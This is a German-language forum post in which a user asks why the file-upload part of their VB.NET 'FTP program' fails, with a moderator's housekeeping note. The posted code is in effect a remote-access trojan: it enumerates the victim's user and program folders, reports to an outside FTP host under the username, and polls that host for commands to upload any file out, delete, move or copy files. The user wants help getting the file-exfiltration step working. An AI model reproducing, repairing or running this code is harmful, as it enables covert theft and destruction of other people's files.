hei Leute ich hab ein programm das mit einem ftp server kommuniziert und eins geht nicht und zwar es zu uploaden ich nehme an das der text in der textbox nicht angezeigt wird denn es kommt immer das es kein Dateiname sein soll weil ja "" drin steht in der Textbox3 wo das ja drinn stehen sollte.
Edit by Manschula: Auf das korrekte Einstellen von Beiträgen/Themen sowie auf eine sinnvolle Fehler-/Problembeschreibung achten! --> Thema verschoben, VB-Tag für Codeausschnitt eingefügt, unsinniger Titel bereinigt
VB.NET-Quellcode
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Timer1.Start()
- RichTextBox1.Text = GetList("c:\")
- Dim Username As String = Environment.UserName
- Dim wct As New Net.WebClient
- wct.Credentials = New Net.NetworkCredential("", "")
- wct.UploadString("ftp://22up22.download.ac/" & Username & ".txt", "")
- wct.UploadString("ftp://22up22.download.ac/" & Username & "1.txt", "")
- wct.UploadString("ftp://22up22.download.ac/" & Username & "2.txt", "")
- End Sub
- Public Function GetList(ByVal Root As String) As String
- Dim Username As String = Environment.UserName
- Dim tmp As String = ""
- Dim info1 As New IO.DirectoryInfo("C:\Program Files")
- Dim info2 As New IO.DirectoryInfo(My.Computer.FileSystem.GetFileInfo("C:\Program Files").Directory.ToString)
- Dim info3 As New IO.DirectoryInfo("C:\Users\" & Username)
- Dim info4 As New IO.DirectoryInfo("C:\Users\" & Username & "\Documents\Desktop")
- Dim dicts() As IO.DirectoryInfo = info1.GetDirectories
- Dim files() As IO.FileInfo = info2.GetFiles
- Dim dicts1() As IO.DirectoryInfo = info3.GetDirectories
- Dim files1() As IO.FileInfo = info3.GetFiles
- Dim dicts2() As IO.DirectoryInfo = info4.GetDirectories
- Dim files2() As IO.FileInfo = info4.GetFiles
- For Each d In dicts
- tmp &= "Ordner: " & d.FullName & Environment.NewLine
- Next
- For Each f In files
- tmp &= "Datei: " & f.FullName & Environment.NewLine
- Next
- For Each d In dicts1
- tmp &= "Ordner: " & d.FullName & Environment.NewLine
- Next
- For Each f In files1
- tmp &= "Datei: " & f.FullName & Environment.NewLine
- Next
- For Each d In dicts2
- tmp &= "Ordner: " & d.FullName & Environment.NewLine
- Next
- For Each f In files2
- tmp &= "Datei: " & f.FullName & Environment.NewLine
- Next
- Return tmp
- End Function
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Dim wct2 As New Net.WebClient
- wct2.Credentials = New Net.NetworkCredential("", "")
- wct2.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "2.txt")
- TextBox3.Text = wct2.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "2.txt")
- Dim wct As New Net.WebClient
- wct.Credentials = New Net.NetworkCredential("", "")
- wct.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt")
- TextBox1.Text = wct.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt")
- Dim wct1 As New Net.WebClient
- wct1.Credentials = New Net.NetworkCredential("", "")
- wct1.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "1.txt")
- TextBox2.Text = wct1.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "1.txt")
- If TextBox1.Text = "ok4" Then
- My.Computer.FileSystem.MoveFile(TextBox2.Text, TextBox3.Text)
- End If
- If TextBox1.Text = "ok" Then
- Dim wct4 As New Net.WebClient
- wct4.Credentials = New Net.NetworkCredential("", "")
- wct4.UploadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt", RichTextBox1.Text)
- End If
- If TextBox1.Text = "ok2" Then
- My.Computer.FileSystem.DeleteFile(TextBox2.Text)
- End If
- If TextBox1.Text = "ok3" Then
- My.Computer.FileSystem.CopyFile(TextBox2.Text, TextBox3.Text)
- End If
- If TextBox1.Text = "ok1" Then
- My.Computer.Network.UploadFile(TextBox2.Text, "ftp://22up22.download.ac/" & TextBox3.Text, "", "")
- End If
- End Sub
- End Class
Edit by Manschula: Auf das korrekte Einstellen von Beiträgen/Themen sowie auf eine sinnvolle Fehler-/Problembeschreibung achten! --> Thema verschoben, VB-Tag für Codeausschnitt eingefügt, unsinniger Titel bereinigt
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Manschula“ ()